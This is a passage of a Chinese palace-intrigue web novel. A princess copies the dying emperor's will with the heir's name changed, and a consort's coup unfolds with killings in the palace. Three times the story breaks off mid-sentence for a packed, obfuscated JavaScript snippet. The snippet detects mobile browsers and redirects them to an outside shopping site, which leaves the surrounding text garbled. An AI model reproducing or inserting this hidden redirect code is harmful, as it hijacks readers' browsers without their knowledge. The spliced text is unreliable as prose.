“叶岚,朕知道是你回来了,这些年委屈你了。现在,朕身边能信任的只有你一个人了,这遗诏托付给你,不要辜负了朕……”接着他又长舒一口气:“朕这一生,中年继位,自认勤勉于政事,无愧于天下,无愧于苍生,保了大梁二十年兴盛,也算是对得起先祖了……来,扶朕起来,朕要出去走走……” 暖暖起身扶着梁帝起身,他似乎没有了一点力气,全借着暖暖的力气才能站起来,二人蹒跚地走到经堂门口,打开经堂的门,阳光照在二人的身上。 张内监见闻声回头,只看见周身金光的两个身影,恍若神仙下凡,他愣愣地看着二人,不自觉地跪拜在地。 梁帝吩咐道:“回太极殿。” 张中官这才起身上前,接过了郡主的手,扶着梁帝走向肩舆。 暖暖在梁帝身后跪拜送别,眼泪忽然止不住地流下来,这一别只怕是永别了。 脚步声渐渐消失,周围陷入了寂静之中,连空气都凝固了,她仿佛能听见阳光落在叶子上的声音。 这便是所谓时机,一场恶战已经开始。 她心中已经有了选择,不再害怕担忧,反而多了几分坚定。起身回到经堂,将门反锁,快步来到案几前,将经幡上的字一口气抄在了那张白纸上,但是把叶均的名字改成了叶皓。只是,梁帝的字迹无法模仿,便没有写那几个字。 写完最后一个字,她瘫坐位置上,仿佛全身的力气都被抽走。 她脑子一阵混沌,下一步该怎么办?要去通知叶皓?写密信的纸还在寝殿,可现在出去会不会令人生疑?若再晚些,宫门下了钥,消息会传不出去?父皇的身体还能拖多久?剩下的时间还有多少?荣妃下一步会怎么走?又要如何安排应对? 事不宜迟,但一切要有章法。 她折了半柱香点燃,强迫自己冷静下来,闭眼将所想之事一一计划。 香燃尽后,她立即带着遗诏一起回,金华殿。 到了寝殿,暖暖只说受了暑气,休要休息,命舒雁紧闭了门窗,把守殿门,谁人也不允许进入。 她找出密信纸,蘸了特制的水,写下小个字:父体欠安,速做安排。 字迹写完瞬间消失,再想看这字迹,只需将纸泡在加了另一种药剂的水里即可。 她将密信夹到佛经的夹层里,唤来舒雁,让她悄悄地给黄中官送去,叮嘱她务必要亲手交到黄中官手里。她本想命冰绡前去,但平日里冰绡并不做这些琐事,只怕是冰绡去来,会让人生疑。 之后又亲自来偏房里找冰绡,果不其然又在睡觉。自进来宫之后,冰绡丝毫不懈怠,依旧是昼寝夜出。 此番她命冰绡一入夜便去太极殿守着,有情况立即来汇报,冰绡是受过训练的,临危不乱,也不问是何原因,接受任务后便又去睡了。 暖暖回到寝殿,坐在案几想着她还能做些什么?对,画眉的身契,此时才发一直未见画眉的踪影。 正翻找着身契,惠妃殿中的侍女来叫她去用晚膳,一声“郡主”如雷劈一般,吓得她将手中盒子掉到了地上,那侍女急忙跪下请罪。 向外看了看,舒雁还没有回来,她心中不禁又多了一层紧张,会不会出什么事了?为不露破绽,只好跟着侍女去用晚膳。 惠妃一见她便问道:“脸色怎么这么差?” “今日抄经有些累了。” 惠妃一阵絮叨:“以后注意些,时间有多是,何必这样急。怎么就自己过来了?不是本宫说你,你对身边的婢女也太宽松了些,那个叫画眉的,本该在寝殿里服侍,怎么动不动就往外跑。一会多吃一些,你进宫也有些日子了,药也喝了几副了,怎么还是不见好转,还是这样弱……药补也只是外在,你自己要注意休息……” 暖暖没有功夫思考如何作答,只是一一应下称是,一顿饭终于结束了,赶紧告辞回到了寝殿。 此时舒雁并画眉已经回来了,得知东西已经交出去了,她才舒了一口气。 晚间,画眉收拾着案几上的纸张,不知想到了什么,眼角眉梢都带上了笑意。 舒雁绣着手帕,抬头见了画眉这般模样,便悄悄拉了拉郡主的衣袖,笑着指给她看,而后调侃道:“什么事?这般高兴。” 画眉一下就红了脸:“我哪里……哪里高兴了?” 舒雁取笑道:“都写在脸上了……” 暖暖看着这的祥和场景,不知还会有几日,择日不如撞日,今日就将画眉的事情安排好。 她唤来画眉,问道:“画眉,你今日是去见肖云平了?” “郡主……都知道了……”画眉有些愧疚地低下头去。 “舒雁都与我说了,你不必不好意思,他的人品、家世如何,你可都了解了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304211|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “他是左路卫尉副长,家就在城北,今年二十有三。” “年龄倒是不小了,为何还不议亲?” “不曾他的祖父前年病逝,因在孝中,故而尚未议亲。” 暖暖边听边点头:“不错,宫中卫尉选拔严苛,他的家世经得住考验,只一点,你要认清他的品行。” “奴婢已经犯过一次错了,自然会小心些。” 暖暖从盒子里拿出身契,交到她手中,说道:“这是你的身契,交还与你。” 画眉看着身契,有些不可思议,抬起头说道:“郡主……这是……” 暖暖又从首饰盒子里拿出一对玉镯并一根金钗交到她手里:“这几日你就出宫去吧,这些算是我的贺礼,我可能不能看着你出嫁了。” 画眉疑惑的眼神中带着些许惊恐,问道:“是奴婢做错什么了吗?郡主是不要奴婢了吗?奴婢欠郡主的还没有还清……” “之前我那样说,不过是想断了你的念想,你不是宫籍,趁我还能做得了主,先将身契给你,以后好好过日子。” 这突如其来地让画眉一时难以接受,傻傻地站在原地,不知如何是好。 舒雁上前说道:“傻丫头,郡主是在为你的将来谋划,还不快谢谢郡主。” 画眉这才回过神来,眼角已经湿润,向郡主跪拜叩谢。 暖暖亲自扶起她:“好了,去休息吧,舒雁在这里就行了。” 舒雁将画眉送出门,回来后看着郡主揉着额头,凑近了小声问道:“郡主,可是要发生什么事了?” 她虽不知郡主与信王所谋何事,亦不过问是何事,但心中也隐隐猜测是惊天动地的大事,今日本不是传递消息的日子,可见事情之紧急。 暖暖未回避她,点点头说道:“可能会发生一些事情,我不想你们牵连进来,画眉已经安排好了,你是宫籍,我明日便去求娘娘,让她放了你出宫去……” 她话还没说完,舒雁便跪倒,拉着她的衣角说道:“郡主,奴婢不走,奴婢说过要一直服侍郡主的。” 暖暖扶起舒雁,让她坐到自己身边:“你们跟我一场,我自然要给你们都安排好。” “不……郡主虽然不说是什么事,但奴婢知道郡主一定遇到了天大的事,郡主和娘娘待奴婢恩重如山,这个时候若奴婢离开了,那奴婢成什么人了?” 暖暖知她难劝,于是打开了首饰盒子的夹层,从中取出两枚飞镖,继续说道:“既然这样,这两枚飞镖随身藏好,自己要保护好自己。” 舒雁接过飞镖,放入怀中:“郡主放心。” 暖暖觉得屋子里很闷,她起身推开窗子,对着弦月,双手合十心中祝祷:愿佛祖保佑,能平安度过此劫。 祝祷完毕,她又觉得自己十分可笑,月余前她还置疑佛教的教义,如今也变成一个虔诚的信徒了,她自己果然和叶皓是一个样子:心志不坚。 遗诏还在袖中,一边是叶均,一边是叶皓。而她没有丝毫犹豫地选择了叶皓,可是于情于理,她都应该选择叶均。 于情,对她而言,叶均夫妻对她有教养之恩;于理,立长立贤,叶均更适合作为一国之君执掌朝政。 她如此孤行,背叛梁帝,背叛了叶均夫妻,心中虽有愧疚,却未有后悔。 秦羽的仇、长右山的仇,让她情感的天平早已向叶皓倾斜,她自己也不知道自己这样做是对还是错,这大约就是叶皓说的“行止由心”吧。 她心中默然道:父皇、三哥、姐姐,叶岚今生欠你们的,等来世再还吧! 89. 大地忽震动 时至三更,万籁俱寂。 暖暖在灯下做了一红一绿两个锦囊,将梁帝的遗诏放在了绿色的锦囊里,缝在了左边的袖子中,她抄写的则用油纸包了,装在红色的锦囊里,缝在右边的袖子中。 之后找出所有的武器清点数量,将暗器藏于身上,外袍一套便什么也看不出来。 烛影摇曳下,她思绪万千,接下来会发生什么事情?这次会成功吗?不论怎样,这处处小心、日日提心的日子终于要结束了。清和剑在烛光下闪出柔和的光芒,或许,此生再无见面之日了。 门外响起了三声轻轻的叩击声,是冰绡回来了,她一袭夜行衣,带回来的消息让暖暖有些头皮发麻。 冰绡回道:“太极殿一切如常,只是重华殿外多了许多卫尉,侍女们进进出出,西偏殿里好像有什么事情,隐隐听见女子的叫喊声,荣贵妃在外忙前忙后,似乎她……根本没有身孕。” 事情好像比预计的还要复杂,太极殿怎会无事?重华殿发生了什么事情?荣贵妃未孕,这一点是暖暖没有想到的,看了宫变是必然的了。 她命冰绡继续回去盯梢后,来到案几前,写了一封密信:荣妃未孕、宫变在即。字迹干了之后,她深吸了一口气:开始了。 但现在什么也做不了,只能等待,她吹灭了蜡烛,室内一片漆黑,目光便没有了聚焦之地。 她盘腿打坐,静待太阳的升起。 《大般涅槃经》有云:大地忽震动,狂风四激起。海水波翻倒,须弥宝山摇。天人心悲痛,泣泪犹如雨。皆悉大恐怖,如被非人执。由佛般涅槃,故有如此事。 如此安静的深夜,让她有一种似曾相识的感觉。那个漆黑的夜晚,虽然火光通天,但她也是如此这般地盼望着天明。这才过去了多久,同样的事情便又要经历一遍,真是万般皆是命,半点不由人。 五更天至,外面一片天灰蒙蒙,冰绡回来了,回禀重华殿灯火通明了一整晚。 刚到六更天,宫门开启之时,重华殿中派人到各宫传信:荣贵妃平安诞下一子,贵妃产后体弱,暂不能理事,后宫事宜暂由各宫各自主张。 这信息的意思很明显,就是希望大家不要去打扰贵妃,但又不去道喜似乎又不合礼仪。于是,各宫的人并没有马上去重华殿贺喜,反而纷纷聚到了金华殿,找惠妃拿主意。 惠妃和淑妃商议了一下,觉得此事还需派个人到重华殿贺喜,但是派谁过去又成了难题。惠妃和淑妃在妃位,不便出面,其它几位婕妤、才人都怕得罪了贵妃不敢前去。几个人互相推诿,正好给了暖暖机会。 她站出来,在众人跟前行了一礼,说道:“臣女愿替各位娘娘去重华殿贺喜。” 人群安静下来,惠妃开口道:“你们一个个的,到正经事上还不如个孩子靠得住。”说罢转向暖暖:“你去了,只说贺喜的话,不要多言,问过安就快些回来。” 说完,示意彩玉将贺礼端上,是一只金镶玉项圈和一对玉如意。 暖暖接过贺礼,向众人告辞,她又命舒雁拿上一卷经书,今日太极殿才是她的目的地,此行她带了冰绡和舒雁同去。 冰绡换上宫装,将软剑绕在腰间。 出了重华殿,暖暖立即将密信交给舒雁,让她快些传出去。 半路上,画眉一脸失落地回来,见了暖暖一脸严肃,立即行礼请罪。 暖暖这才发觉她竟一早就出去了,于是问道:“这大早起的去哪里了?”说完看到画眉手上拿的五色丝和桃符,便也猜到了几分。 画眉红着脸,嗫喏道;“奴婢去给……他送桃符。” “怎么?没送出去?” 画眉摇摇头,一抹忧色上了眉梢:“前几日约好了,他说今日早些来,趁换班之前见一面,他还说要给奴婢带粽子来……可不知道为什么没见到人。” “他说的话怎可全信?” “郡主去哪里?舒雁姐姐呢?” “重华殿,你快些回去,在殿中等我回去。”暖暖说完也不看她,继续前行。 画眉却未走,接过冰绡手中的托盘,说道:“舒雁姐姐不在,奴婢服侍郡主同去。” 暖暖没有时间与她拉扯,想起昨夜太极殿增加了卫尉,于是又问道:“以前他可有爽约的时候?” “从未,这是第一次,或是被什么事绊住了脚。” 冰绡冷冷地开口:“失约了就是失约了,你还为他找借口,他若真在乎你,就该遣人来告知一声。” “他不是……”画眉低头,心中起了波澜。 其实,失约一次到也不是什么大问题,只是在冰绡接受的训练严苛,若是消息不实便会是使命难达、性命不保。 暖暖边听着二人拌嘴边想:或许是来不及遣人来。 到了重华殿,果然防守严密,门口的中官进去通报,却只等来荣贵妃身边的侍女出来,脸上堆着笑:多谢郡主来探望,只是贵妃娘娘刚生产完,身体虚弱不能起身,不便与郡主相见,还望郡主见谅,待贵妃娘娘身子硬朗些,再登门去谢郡主。” 暖暖也不执着,将贺礼交给那侍女,有说来几句祝福的话便离开了。待摆脱了那侍女的目光,一行人绕了圈子到了太极殿。 冰绡略约注意了一下,果然防守以前多了一倍,她暗暗记下每个路口的人数。 转弯的时候,一个俯着首快步疾走小中官未看着路,与暖暖撞了个满怀,画眉忙从后面扶住她,冰绡则手按在腰中挡在她身前。 那中官不认得来人是谁,只是慌慌张张伏在地上,连连叩首:“贵人恕罪,贵人恕罪。” 暖暖站稳身子说道:“不妨事,起来吧,你是哪里当值的?” “奴才在太极殿当值。” 真是天助我也,正好问问情况,暖暖悦色问道:“有什么事,走得这样急?” “大殿里要的冰还未送到,王中官命奴才去催一催。” “要冰做什么?” “陛下……是陛下觉得热……”小中官说话竟带着些颤音。 “去吧……” 现下天气并不算炎热,还未到用冰的时候,依梁帝的身体,太医定然会禁其寒凉,中官侍女们也会格外注意,但听闻临终之人体内会灼热之感,喜食凉物。 她又想起梁帝昨日所说的“朕体不安,今将绝已”,恐怕……一个不好的念头在心中升起,让她不由得加快来步伐。 到了太极殿,这里亦是防卫森严,有几位老臣在殿外跪候。 暖暖自然被拦住了去路,但她早有准备,拿出佛经说道:“这是昨日陛下吩咐我送来的。” 拦住暖暖的小中官不敢多言,只说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314423|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “郡主稍待。”之后转身去殿内请示。 不多时,张中官赶来,对她行礼后小声说道:“郡主先请回,陛下今日身体不适,不见任何人,郡主有什么东西要给陛下,请先交给老奴。” “可是昨日陛下在经堂里吩咐我将此经书带来,今日念给他听。” 张中官面露难色,说道:“陛下的病发得突然,太医们正在里面会诊,您看,这些大臣已等了许久了,郡主还是请回吧。”末了又悄悄说了句:“请郡主好生待在殿内,不要出来了。” 此时,一大臣走上来问道:“张中官,陛下到底怎么样了?到底什么时候可以见到陛下?”这位大臣越说声音越大。 张中官慌忙道:“哎呀!周公小些声音,待陛下好转自然会召见各位。” 暖暖只得先退下,但是她不能离开,于是在下台阶时,脚下一偏,狠狠地摔了下去。 张中官正与官员们解释,听得“诶呀”一声,又见郡主摔倒,便立即上前来扶住:“郡主小心些。” 暖暖扶着头,无力地说道:“多谢张中官,或是站得久了,有些头晕。” 画眉疑是暖暖的头疾发作,问道:“郡主是不是头疾发作了?。” 暖暖连声回答:“是,是,我现在头疼得厉害,需要休息一下。” 张中官也不想她们在此耽搁,于是吩咐了两个小中官,将暖暖带到了一间小殿内休息。 此殿很小,内设简陋,一个小中官抱歉地说道:“这是茶水侍女的休息处,郡主暂且在这里将就一下。” 这间小殿隐于树木之后,目光透过窗子、穿过树枝,正好可以看见大殿外的情况。 太阳一点点升高,殿外跪的大臣越来越多,侍从们进出得很频繁,周围的卫尉又增加了不少。 暖暖正看得认真,忽然“吱呀”门开了,她被吓了一跳,如今已是草木皆兵。 未想进门的是却是舒雁。 “送出去了吗?”她焦急地问道。 “送出去了,奴婢送完后去重华殿找郡主,可重华殿已被人围了起来,连个可以问话的人都没有,便又来太极殿这边。” “外面什么情况?” “院外站了不少朝臣,乱哄哄的,外面围了好多卫尉。” 听完这些,暖暖已确定了一个事实:梁帝已薨。那小中官去要冰,大约是为来保存尸身。 想到此处,她只觉浑身发冷。外面又响起了朝臣的争吵声:“连殿下都被关到外面,王中官,你这是何意,快快打开殿门,我们要见陛下。” 如此阵仗,会不会叶皓已经来了?她赶紧问舒雁:“成王和信王可来了?” “没有看到,不过二殿下倒是跪在了院外面,二殿好歹也曾是亲王,怎么还让他跪在外面。” “大约是来得晚了,不让进来了。”冰绡开口。 “哦,也是,奴婢进来的时候也是费了一番功夫,央了一个小中官,才悄悄带我进来的。” 画眉也察觉到了异样,看着严肃的暖暖不敢吱声,只悄悄地问舒雁:“是不是要发生什么事了?” 暖暖心中愈发紧张起来,连二哥都惊动了,估计整个京中都已知晓,会不会宫外已经乱了?如今只能沉住气,静观其变。 她摸摸了衣袖中的锦囊,兵来将挡、水来土掩。 90. 天昏风云起 时间如蜗牛一般爬行,可脚步再缓也会向前走。 画眉的肚子发出的咕咕音,提示着大约已到了午时。 外面的朝臣已按耐不住,两位老臣喧闹起来,外院似乎也有人喧闹,紧接着叶铭被几个人护佣着闯了进来,一番拉扯后,几个闹事的朝臣被卫尉押了出去,剩下叶铭跪在殿外,头紧紧的伏在地上。 正午的太阳,如火一般燃烧在太极殿的正上方,对于未知的焦虑让人恐惧,又有人因体力不支晕了过去,王中官赶紧命人将其倒被到阴凉处。 一位朝臣再也忍耐不住,起身欲闯入殿内,只听见了卫尉的呵斥声:“贵妃有令,擅闯者杀无赦。”接着便是拔刀杀人的声音,随后一具尸体抬出。 看到这一幕,暖暖惊出了一身冷汗来,冰绡却见怪不怪、一脸淡然,舒雁面色惨白、两只手紧紧攥在一起强装镇定,只有画眉吓的捂住眼睛,叫出声来。 舒雁赶紧上前抱住她,示意她噤声。 可为时已晚,门被一脚踢开,大约是外面的卫尉听到了声音便闯了进来,为首一人说道:“这里还有侍女,把她们带走。”说完便上来要抓人。 舒雁上前护在暖暖面前:“这是郡主,谁敢放肆?” 卫尉却不管是谁,只说道:“上面的命令,所有宫人一律统一看守,反抗者就地正法。” 暖暖悄悄给冰绡比了一个杀的手势后,将舒雁拉回来,同时,冰绡一掌将那卫尉打出门外,压倒了后面的一众人。 双方正要动手之际,一男子的声音制止道:“住手,不得伤人。” 画眉听到熟悉的声音,便冲了出去,拉着那人的胳膊哭着说道:“你去哪里了,吓死我了。” 来人正是肖云平。 肖云平也不顾众人,一把揽住画眉,安慰道:“你原来在这里,我找你快找疯了,今日宫中大乱,我真怕你出什么事。” 他抬头,看见一众人都看着他,立即松开手,命其他卫尉退到廊外,并请郡主回到了屋里。 进屋后他拜倒在地:“左路卫尉副使肖云平,拜见郡主殿下,惊扰到了郡主,请郡主恕罪。” 暖暖看到他衣角上的血渍,谨慎的问道:“身上的血哪里来的?刚才的朝臣是你杀的?” “不是,外面杀人的是中路卫尉,中间有卫尉对侍女……不轨,被属下……杀了,属下只奉命将后宫之人全部带到太极殿候命。” “带来些什么人来?” “宫中嫔妃已全部请到。” 原来荣贵妃已将全宫的人集中到了太极殿,怪不得出来这么长时间,惠妃也没有派人来寻,暖暖又问道:“现在外面什么情况。” “听说成王与信王意欲谋反,已起兵攻入宫门,杜大将军把守宫门,两军正在对战。” “什么?”暖暖神色一凛,已经开战了,现在必须出去。 她看着肖云平,先要确认他是否可用,于是严肃的说道:“肖云平,你可知谋反的不是成王与信王,是荣贵妃。” 肖云平听了微微一怔,并没有多惊讶,回答道:“属下亦有此疑惑,但属下职位低下,只是奉命行事。” “奉命行事?卫尉营向来只听陛下调遣,你如今听的是谁的命令?” 宫中卫尉只听从梁帝调遣,没有梁帝对命令就该原地待命,此番他们已竟算是背叛梁帝,他选了个折中的说法:“听的是……左路正史的命令。” 暖暖逼问:“左路正史又听的是谁的命令?” “是陛下。”但他随即改口:“不……是荣贵妃。” 暖暖见他并不糊涂,知此人可用,进一步威胁道:“现在荣贵妃谋反,你们若还是听从她的命令,便是同谋。” 肖云平赶紧伏首,解释道:“属下并无此意。” 暖暖扯下右边衣袖中的红色锦囊,正色说道:“我知你无此意,我手中有陛下密诏,陛下命本宫在危机时刻公之于众,你可愿助我一臂之力?” 肖云平沉默不语,似有踌躇。 暖暖继续说道:“肖云平,我不为难你,你如何选择是你的权利,或者……你现在就将我们绑了交出去。” 画眉有些着急,先叫了一声“云平”,之后又叫了一声“郡主”。 肖云平看到画眉悲戚的神情,立即下定决心:“肖某及左路四十卫尉,但凭郡主驱使。” “好。”暖暖说完拿起肖云平手中的刀,将自己的外袍裙摆砍下,说道:“你将此衣衫撕成条缚在右臂,到宫门口接应成王与信王。” 肖云平双手接过衣裙,叩首道:“属下定不负郡主所托。” 暖暖又说到:“你与画眉的事我都知道了,若此事能平安过去,我便允你们二人成婚。” “属下在此谢过郡主殿下,郡主保重。”肖云平说完便提了刀出去。 画眉快步追了出去,将自己的裙摆撕下一块,缚在他的右臂上,含泪说道:“我等你回来。” 肖云平抓住画眉的手,低头一吻,眼中满是不舍,却决绝的说道:“好,我一定回来。” 画眉回到屋内,舒雁正翻找出侍女的外衫为郡主换上。 暖暖将绿色锦囊交给舒雁,对她与画眉说道:“你们二人在这里,看护好这个锦囊,不论发生什么事情都不要出去,我若出事,就将锦囊交给成王或者信王。” 画眉滴着泪说道:“郡主,你要去哪里?奴婢要同你在一起……” 此刻的暖暖,竟无比的清醒、镇定,叮嘱她们道:“现在锦囊最重要,你们一定要亲手再交还回来。” 舒雁识得大局,捧着锦囊叩拜道:“奴婢定谨记郡主的话。” 暖暖来不及多说,将她二人藏到衣柜中,之后与冰绡交换了眼色,二人便出门去。 刚行了十余步,一个卫尉便迎上来喝问:“站住,哪里来的侍女?” 话音未落,他便被冰绡掐住了脖子,不能发声。 暖暖问道:“荣贵妃在哪里?后宫中人都关在哪里?” 冰绡松了力道,那卫尉咳了两下,深深吸了一口气:“贵妃……不知道在哪里,后宫的人都被关在西偏殿……” 得到了想要的答案后,毫不犹豫的扭断了他的脖子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323924|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 暖暖心中一惊,身体不由自主的抖了一下:“他都说了,打晕即可,何必取他性命。” 冰绡却说道:“如此境况,不能留一丝隐患。” 说罢将卫尉的刀捡起来交给郡主,说道:“郡主手狠一些,别让人死的太痛苦,这个时候,他们不死就是咱们死。” 暖暖接了剑,点了点头,的确,生死存亡之际,若再存仁善之心,那便是自寻死路。 二人在花荫树丛后慢行,小心摸到了西偏殿,冰绡悄悄解决了看守的卫尉,打开殿门,开门声让殿内之人一片惊呼。 上午聚在金华殿的一众人,都被带到了这里,见是暖暖,犹如见了救星一般,纷纷围了上来。 惠妃上前抓住暖暖的手:“孩子,到底发生了什么事?是不是陛下病重了……” 看样子她们还不知道梁帝已然薨逝,暖暖怕她受刺激,做出什么过激的事情来,只说道:“不太确定,荣贵妃下令封锁了消息,现在这里不安全,我带大家先离开。” “不,本宫不走,本宫有陛下夫妻多年,现在陛下情况不明,本宫怎能独自离开。” 淑妃也附和道:“对,我们怎么能不顾陛下安危,独自离开。” 其他人也表态:“两位娘娘不走,我们也不走……” 暖暖有些着急:“现在不是争论这些的时候,荣贵妃挟持陛下、扣押朝臣,成王与信王正在闯宫救驾,大家要先确保自身安全。” 惠妃惊讶的问道:“什么?挟持陛下、扣押朝臣?荣贵妃竟然如此胆大妄为,罔顾家国礼法……” 此时,守在门口的冰绡,望见远处有卫尉提刀走来,便立刻进来关了殿门,说道:“有人来了,刀上有血,估计是来灭口的,已经出去不去了。” 众人听闻都吓得发抖,更有甚者哭泣起来,瘫坐在地。 冰绡皱着眉看着这些嫔妃,十分无奈,走到里打开窗户,逐一检查外面是否安全,最后她选了一扇窗户,说道:“这里外面可以藏身,请各位娘娘快一些,再晚些就真来不及了。” 听了她的话,有两个嫔妃便快速的过去,在冰绡的帮助下逃了出去,另有三人看了看窗户又看了看惠妃,犹豫不定。 惠妃看着他们叹了口气,眼里流露出失望:“你们怎可如此!” 淑妃上前拉住惠妃的手,说道:“姐姐,事到如今随她们去吧,我与姐姐同去见陛下。”然后又回头对她们说道:“都快走吧。” 三人得了令也纷纷翻窗而去,几个随身侍女也跳窗出去,继而冰绡将窗户关好回到暖暖身边。 淑妃又对暖暖说道:“孩子,你也快走吧,咱们能活一个是一个。” “不,娘娘,我陪您一起去。” 话音未落,门已被撞开,四个卫尉提着刀站在门口,其中一个说道:“陛下有令,所有妃嫔一律陪葬。” 淑妃欲将暖暖拉至身后,但她已经上前一步护在了惠妃和淑妃身前,喝斥道:“未有传召,你们怎敢私自闯入?” 惠妃整理了一下衣衫,对外面的人说道:“本宫要见陛下。” 91. 宫闱生惊变 惠妃的话就像一阵风吹过,那些卫尉听都没听,便直接提刀杀了进来,冰绡早已抽出软剑,伸手就解决了一个,她在前迎敌,暖暖在后面护着惠妃与淑妃及她们的侍女。 这些卫尉果然都是精挑细选之人,实力不凡,她二人着实是费了一番功夫,才解决了剩下的三人。 暖暖本以为还会有其他的卫尉上前来,但是却见所有卫尉都向正殿处聚集。 正殿外,一众朝臣已被卫尉围住,隔着人群她看见正殿大门缓缓打开,张中官躬身走出,带着悲戚的声音高喊道:“天子驾崩,众臣举哀。”接着便是众臣叩拜哀号之声,不绝于天。 惠妃听闻此言,如同天降五雷,脚下一软跪倒在地,淑妃扶住她顺势一起跪倒在地,二人哭泣不已。 暖暖早已知道这个事实,她秉神凝息地看着大殿,只见荣贵妃右手托着一个卷轴自殿内而出。 她一身素衣,未施粉黛,面容苍白,但依旧昂首挺胸、声音洪亮:“陛下骤然离世,本宫哀伤不能自已,昨日夜间陛下匆匆立下遗诏,册立八皇子叶桦为皇太子,承受天命。” 众人接过遗诏传阅后,一部分大臣俯身叩拜,一部分却并不信服。一位老臣却站了出来,连问了几个问题:“太医令言陛下身体一向康健,怎会骤然离世?陛下立诏,如何与三公商议,而只会告知你一介妇人?陛下的皇子、公主总共七人,何来八皇子? 荣贵妃丝毫不惧:“本宫昨晚诞下皇子,陛下甚爱之,便立诏封为太子。” 那朝臣自然不信服,反驳道:“自古立嫡立长立贤皆有,从未见过嫡、长、贤均在,而改立幼子之说,更何况是一个尚在襁褓中的婴孩。” 众人看向叶铭,只见他赶紧将头紧紧贴在地上,瑟瑟发抖,不敢出声。 如此庸才,不足为惧,荣贵妃轻蔑地看了一眼他,说道:“先帝之意,谁敢不从!”说完,手一挥,侍女小心地抱着一个襁褓出来,襁褓里传出两声微弱的啼哭声。 众人本就颇有疑惑,纷纷起身响应:“若爱幼子,欲立为储君,便应效汉武帝之举。” 所谓汉武帝之举,便是去母留子。 “我们要见陛下……我们要见陛下……”朝臣们一呼百应。 一个朝臣起身便向殿内闯去,荣贵妃一个眼神,旁边的卫尉便一刀了结了他的性命,鲜血涌出,顺着台阶向缓缓流下去,吓退了一部分朝臣。 暖暖见状,时机已到,将锦囊高举过头顶,边走边喊道:“她的遗诏是假的,遗诏在这里。” 众人的目光纷纷向她投去。 荣贵妃显然没有想到还有这一出,眼中闪过一丝慌乱,但很快就恢复理智,立即命卫尉将她包围起来,狠戾地命令道:“杀了她!” 众卫尉一拥而上,冰绡护在郡主周身,奋力抵抗。 暖暖以刀当剑,全力对抗,卫尉越来越多,她渐渐有些看不清周围的事物,只看得见砍过来的刀影,耳边也剩下嗡鸣声。 突然,世界万籁俱寂,一股热气自丹田而起直冲向上胸口,顿觉胸膛鼓胀,右手抬刀前刺手,这股气便顺着刀向前涌去。 气出而体虚,她单膝跪倒在地,喉咙处一股腥甜喷涌而出,接着就听见一片兵器掉地上声和哀号之声。 她直觉两眼发黑,但这紧要关头怎能倒下,左手紧紧握的遗诏似乎给了她力量,她一刀撑地稳住身躯,慢慢恢复了视力,看到面前躺着一片卫尉。 她用的这一招,便是太一玄门剑法中的海立云垂。 这一招真是厉害,看得冰绡都震惊了,剩下的卫尉见此情景也不敢上前。 荣贵妃继续下令:“抗命者,杀无赦!” 生死攸关之际,叶均、叶皓终于带兵杀了进来。 为他们开路的右臂上皆缚着绫罗布条,正是肖云平和他的部下。 他们一进来便护在暖暖周身,有了防护,她深吸一口气,擦掉嘴角的血迹,挺直身子走到正殿台阶处,面向众人举起锦囊说道:“陛下遗诏在此。” 一位朝臣上前,跪倒在地,双手举过头接过遗诏,打开宣读:朕体不安,今将绝矣!与地合同,终不复起。今立皇三子叶均为太子。谨视皇天之嗣,加曾孤在。善遇百姓,赋敛以理;存贤近圣,必聚谞士;表教奉先,自致天子。故胡亥自圮,灭名绝纪。审察孤言,终身毋已。 荣贵妃听完,立即跳起来说道:“你这是矫诏!叶岚,你假死回国,欺瞒天下,原来是早与叶皓勾结、意欲谋逆篡位!” 暖暖丝毫不让:“要谋逆的是你杜家!陛下自知时日无多、难逃你的控制,将遗诏秘密交于我,命我必要时拿出。是你挟持陛下,把控朝政,你自知难以服众,所以命人看守宫门、围困太极殿、诛杀朝臣。” “简直是一派胡言,陛下薨逝,本宫恐有人作乱,才严守宫禁。朝中重臣、亲信比比皆是,陛下怎会相信你一个来路不明之人,你说你的遗诏是真的,你有什么证据?” 暖暖听完大脑一片空白,当时没有人证,也无法自证,而且她这份遗诏也是假的。 双手已满是汗水,又冰又凉,她握紧双拳,打算祭出底牌,她正准备说出孩子不是荣贵妃所出之时,张中官便将玉玺带到众人面前说道:“遗诏真假,只需比对玺印即可,前日陛下不慎玉玺摔掉在地,玉玺磕去了一角。” 马上有朝臣接过玉玺比对,果然只见荣贵妃手中遗诏上的玺印完好无缺,而暖暖手中遗诏上的玺印缺了一角。 暖暖心头一松,念了声:父皇保佑。 玉玺缺角这一点,她竟然一点也没有注意到,或者这是她父皇故意而为之。 众人听了你看看我、我看看你,不知如何是好。 